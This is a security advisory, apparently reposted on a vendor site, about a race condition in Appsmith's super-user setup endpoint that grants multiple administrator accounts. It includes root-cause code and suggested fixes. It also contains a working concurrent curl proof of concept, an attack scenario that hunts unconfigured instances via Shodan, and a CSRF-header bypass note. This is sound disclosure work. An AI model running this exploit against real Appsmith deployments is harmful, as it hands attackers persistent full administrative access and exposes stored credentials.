GHSA-9WCP-79G5-5C3C

The /api/v1/users/super endpoint enforces a restriction that only one super user (Instance Administrator) can be created during initial setup. However, due to a Time-of-Check-Time-of-Use (TOCTOU) race condition in the signupAndLoginSuper() method, concurrent requests can bypass this restriction, allowing multiple unauthorized users to obtain Instance Administrator privileges.

Severity

• CWE: CWE-367 (Time-of-Check Time-of-Use Race Condition)
• CVSS 3.1: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H, 8.1 (HIGH)

Affected Version

• Appsmith Community Edition v1.97.0-SNAPSHOT (release branch)
• Docker image: appsmith/appsmith-ce:release (pulled 2026-02-25)
• Commit: 55ac824f8d42f934cc7a69f8abc52880a6ad39ef

Root Cause

The signupAndLoginSuper() method in UserSignupCEImpl.java (lines 270–295) performs a non-atomic check-then-act sequence:

// Step 1: CHECK, query MongoDB for existing users
userService.isUsersEmpty()
    .flatMap(isEmpty -> {
        if (!Boolean.TRUE.equals(isEmpty)) {
            return Mono.error(new AppsmithException(AppsmithError.UNAUTHORIZED_ACCESS));
        }
        // Step 2: ACT, create user and grant admin (not atomic with Step 1)
        return signupAndLogin(user, exchange);
    })
    .flatMap(user -> userUtils.makeInstanceAdministrator(List.of(user)));

The isUsersEmpty() method (CustomUserRepositoryCEImpl.java, lines 35–44) queries MongoDB without any locking mechanism:

public Mono<Boolean> isUsersEmpty() {
    return queryBuilder()
            .criteria(Bridge.or(
                    notExists(User.Fields.isSystemGenerated),
                    Bridge.isFalse(User.Fields.isSystemGenerated)))
            .limit(1).all(IdOnly.class).count().map(count -> count == 0);
}

There is no @Transactional annotation, no distributed lock, and no MongoDB transaction wrapping the check-and-create sequence. In the reactive WebFlux environment, concurrent requests are processed in parallel, widening the race window significantly.

Proof of Concept

Environment Setup

# Start a fresh Appsmith instance
docker run -d --name appsmith-test -p 9090:80 appsmith/appsmith-ce:release
# Wait ~90 seconds for all services to initialize

Step 1: Verify Fresh State

curl -s http://localhost:9090/api/v1/users/me | python3 -m json.tool
# Expected: {"data": {"email": "anonymousUser", ...}}

Step 2: Send Concurrent Requests

for i in $(seq 1 10); do
  curl -s -o /tmp/race_result_${i}.txt -w "%{http_code}" \
    -X POST http://localhost:9090/api/v1/users/super \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -H "X-Requested-By: Appsmith" \
    -d "email=racer${i}@evil.com&password=TestP4ssw0rd!&name=Racer${i}&allowCollectingAnonymousData=false" &
done
wait

# Check results
for i in $(seq 1 10); do
  echo "racer${i}: $(cat /tmp/race_result_${i}.txt)"
done

Step 3: Verify in MongoDB

// Connect to MongoDB inside the container
// docker exec -it appsmith-test mongosh <connection_string>

// Count non-system users (expected: 1, actual: 10)
db.user.countDocuments({ isSystemGenerated: { $ne: true } })

// Check who has manage:users permission
db.user.find(
  { isSystemGenerated: { $ne: true } },
  { email: 1, "policies.permission": 1 }
).forEach(u => {
  const hasManage = u.policies?.some(p => p.permission === "manage:users");
  printjson({ email: u.email, manage_users: hasManage });
});

// Check Instance Administrator Role assignments
db.permissionGroup.findOne(
  { name: "Instance Administrator Role" },
  { assignedToUserIds: 1 }
);

Observed Results

All 10 concurrent requests returned HTTP 302 (success redirect), bypassing the single-user restriction.

Attack Scenario

1. Attacker monitors for newly deployed Appsmith instances (e.g., via Shodan, Censys, or internal network scanning).
2. Attacker polls GET /api/v1/users/me, if the response contains "email": "anonymousUser", the instance has not been set up yet.
3. Attacker sends multiple concurrent POST /api/v1/users/super requests.
4. Legitimate administrator completes setup normally, unaware that an attacker account also received Instance Administrator privileges.
5. Attacker now has persistent, full administrative access to the instance.

Option A: MongoDB Transaction (Recommended)

Wrap the check-and-create in a MongoDB transaction to ensure atomicity:

public Mono<User> signupAndLoginSuper(...) {
    return reactiveMongoTemplate.inTransaction().execute(session -> {
        return userService.isUsersEmpty()
            .flatMap(isEmpty -> {
                if (!Boolean.TRUE.equals(isEmpty)) {
                    return Mono.error(new AppsmithException(
                        AppsmithError.UNAUTHORIZED_ACCESS));
                }
                return signupAndLogin(user, exchange);
            });
    }).single()
    .flatMap(user -> userUtils.makeInstanceAdministrator(List.of(user)));
}

Option B: Distributed Lock

Use Redis (already available in Appsmith's stack) to acquire an exclusive lock:

public Mono<User> signupAndLoginSuper(...) {
    return redisLockService.acquireLock("super-user-setup", Duration.ofSeconds(10))
        .flatMap(lock -> userService.isUsersEmpty()
            .flatMap(isEmpty -> {
                if (!Boolean.TRUE.equals(isEmpty)) {
                    return Mono.error(...);
                }
                return signupAndLogin(user, exchange);
            })
            .doFinally(signal -> lock.release()));
}

Option C: Unique Constraint

Add a MongoDB unique partial index that prevents more than one super admin:

db.user.createIndex(
  { "isSuperAdmin": 1 },
  { unique: true, partialFilterExpression: { "isSuperAdmin": true } }
);

CSRF Note

The POST /api/v1/users/super endpoint accepts application/x-www-form-urlencoded content type. CSRF protection can be bypassed by including the X-Requested-By: Appsmith header (CsrfConfigCE.java, lines 99–102), which is a static, publicly known value.

1. Authorization Bypass: The one-admin-only restriction is completely defeated by concurrent requests.

2. Persistent Backdoor: The attacker's admin account persists alongside the legitimate administrator. The legitimate admin has no indication that another admin exists unless they manually inspect the user list.

3. Full Instance Compromise: Instance Administrator privileges grant:

   • User management (create, delete, modify all users)
   • Access to all datasource credentials (database passwords, API keys)
   • Modification of all applications and their server-side logic
   • Environment configuration (SMTP, OAuth, encryption settings)

GHSA-9WCP-79G5-5C3C has a CVSS score of 8.1 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.99); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is GHSA-9WCP-79G5-5C3C? GHSA-9WCP-79G5-5C3C is a high-severity security vulnerability in com.appsmith:server (maven), affecting versions < 1.99.0. It is fixed in 1.99.
2. How severe is GHSA-9WCP-79G5-5C3C? GHSA-9WCP-79G5-5C3C has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of com.appsmith:server are affected by GHSA-9WCP-79G5-5C3C? com.appsmith:server (maven) versions < 1.99.0 is affected.
4. Is there a fix for GHSA-9WCP-79G5-5C3C? Yes. GHSA-9WCP-79G5-5C3C is fixed in 1.99. Upgrade to this version or later.
5. Is GHSA-9WCP-79G5-5C3C exploitable, and should I be worried? Whether GHSA-9WCP-79G5-5C3C is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-9WCP-79G5-5C3C is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-9WCP-79G5-5C3C? Upgrade com.appsmith:server to 1.99 or later.